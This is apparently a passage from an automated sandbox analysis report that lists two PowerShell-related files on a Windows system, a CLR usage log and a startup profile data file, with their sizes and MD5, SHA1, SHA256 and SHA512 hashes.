SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5bb7d9cd87343b2c81c21c7b27e6ab694
SHA127475110d09f1fc948f1d5ecf3e41aba752401fd
SHA256b06963546e5a36237a9061b369789ebdfc6578c4adfbb3ad425a623ffd2518df
SHA512bf6e222412df3e8fb28fbdd2247628b85ed5087d7be94fa77577a45d02c5f929f20d572867616f1761c86a81e0769d63be5a4e737975c7e7ebc2ef9dccae9a0b